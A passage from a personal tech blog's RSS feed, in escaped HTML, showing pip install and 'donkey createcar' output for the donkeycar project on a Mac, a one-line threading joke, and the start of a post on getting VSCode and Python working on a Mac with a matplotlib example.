&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/ac/aa/063eca6a416f397bd99552c534c6d11d57f58f2e94c14780f3bbf818c4cf/monotonic-1.5-py2.py3-none-any.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting greenlet&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0.3 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from eventlet-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting dnspython&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;1.15.0 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from eventlet-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/ec/d3/3aa0e7213ef72b8585747aa0e271a9523e713813b9a20177ebe1e939deb0/dnspython-1.16.0-py2.py3-none-any.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting pytz&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;2011k &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from pandas-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/61/28/1d3920e4d1d50b19bc5d24398a7cd85cc7b9a75a490570d5a30c57622d34/pytz-2018.9-py2.py3-none-any.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting python-dateutil&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;2.5.0 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from pandas-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/41/17/c62faccbfbd163c7f57f3844689e3a78bae1f403648a6afb1d0866d87fbb/python&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;dateutil-2.8.0-py2.py3-none-any.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting MarkupSafe&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0.23 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from Jinja2&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;2.10-&amp;gt;flask-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/f0/00/a6aea33f5598b080b86d6b6d1214b51afe3ffa6100b902d5aa465080083f/MarkupSafe-1.1.1-cp36-cp36m-macosx&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;10&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;6&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;intel.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Installing collected packages: tornado, python-engineio, python-socketio, click, itsdangerous, Werkzeug, MarkupSafe, Jinja2, flask, monotonic, greenlet, dnspython, eventlet, pytz, python-dateutil, pandas, donkeycar
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Found existing installation: tornado 4.5.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Uninstalling tornado-4.5.1:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      Successfully uninstalled tornado-4.5.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Found existing installation: Werkzeug 0.12.2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Uninstalling Werkzeug-0.12.2:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      Successfully uninstalled Werkzeug-0.12.2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Running setup.py develop &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; donkeycar
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Successfully installed Jinja2-2.10 MarkupSafe-1.1.1 Werkzeug-0.14.1 click-7.0 dnspython-1.16.0 donkeycar eventlet-0.24.1 flask-1.0.2 greenlet-0.4.15 itsdangerous-1.1.0 monotonic-1.5 pandas-0.24.1 python-dateutil-2.8.0 python-engineio-3.4.3 python-socketio-4.0.0 pytz-2018.9 tornado-4.5.3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And when I run the createcar, you can see it worked as expected. In my case creating the &amp;lsquo;mycar&amp;rsquo; folder in my home directory. Of course you can choose this wherever you prefer.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;donkey&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; AMAC02XN1T9JGH5:donkeycar amit.bahree$ donkey createcar ~/mycar
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;using donkey version: 2.5.7 ...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Creating car folder: /Users/amit.bahree/mycar
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;making dir  /Users/amit.bahree/mycar
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Creating data &amp;amp; model folders.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;making dir  /Users/amit.bahree/mycar/models
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;making dir  /Users/amit.bahree/mycar/data
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;making dir  /Users/amit.bahree/mycar/logs
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Copying car application template: donkey2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Copying car config defaults. Adjust these before starting your car.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Donkey setup complete.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It is interesting to see this is more stable on Windows, than on a Mac. Also, one last thing to leave you with - when I first ran the installation, the hint that someone was wrong was in the output, but I didn&amp;rsquo;t pay too much attention to it. See the red line highlighted in the output below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/donkeycar-mac-setup-issue.png&#34; alt=&#34;moviepy failure - donkeycar installation&#34;/&gt;
        &lt;figcaption&gt;moviepy failure – donkeycar installation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Don&amp;rsquo;t know at this time on what the solution for moviepy is to get this sorted - luckily its not a big deal at the moment.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>threads</title>
      <link>/post/2019/03/threads/</link>
      <pubDate>Mon, 11 Mar 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/03/threads/</guid>
      <description>&lt;p&gt;Some people, when confronted with a problem, think, &amp;lsquo;I know, I&amp;rsquo;ll use threads&amp;rsquo; - and then two they hav erpoblesms.&lt;/p&gt;
&lt;p&gt;#GeekyJokes and if you don&amp;rsquo;t get it, &lt;a
	
		href = &#34;/post/2016/02/rules-of-threading-revised/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		see this
	&lt;/span&gt;
&lt;/a&gt;. 😎&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>VSCode &#43; Python on a mac</title>
      <link>/post/2019/01/vscode-python-on-a-mac/</link>
      <pubDate>Sat, 19 Jan 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/01/vscode-python-on-a-mac/</guid>
      <description>&lt;p&gt;As my experimentation continues, I wanted to get &lt;a
	
		href = &#34;https://code.visualstudio.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Visual Studio Code
	&lt;/span&gt;
&lt;/a&gt; installed on a mac, and wanted to use python as the language of choice - main reason for the mac is to understand and explore the #ML libraries, runtimes, and their support on a mac (both natively and in containers - docker).&lt;/p&gt;
&lt;p&gt;Now, Microsoft has a &lt;a
	
		href = &#34;https://code.visualstudio.com/docs/setup/mac&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		very nice tutorial
	&lt;/span&gt;
&lt;/a&gt; to get VSCode setup and running on a mac, including some basic configuration (e.g. touchbar support). But when it comes to &lt;a
	
		href = &#34;https://code.visualstudio.com/docs/python/python-tutorial&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		getting
	&lt;/span&gt;
&lt;/a&gt; &lt;a
	
		href = &#34;https://code.visualstudio.com/docs/python/debugging&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		python setup
	&lt;/span&gt;
&lt;/a&gt;, and running, that is a different matter. Whilst the tutorial is good, it doesn&amp;rsquo;t actually work and errors out.&lt;/p&gt;
&lt;p&gt;Below is the code that &lt;a
	
		href = &#34;https://code.visualstudio.com/docs/python/python-tutorial#_install-and-use-packages&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Microsoft outlines
	&lt;/span&gt;
&lt;/a&gt; in the tutorial for python. It essentially is the HelloWorld using packages and is quite simple; but this will fail and won&amp;rsquo;t work.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;matplotlib.pyplot&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;plt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;numpy&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;np&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;linspace(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create a list of evenly-spaced numbers over the range&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;plt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;plot(x, np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sin(x))       &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Plot the sine of each x point&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;plt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;show()                   &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Display the plot&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When you run this, you will see an error that is something like the one outlined below.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
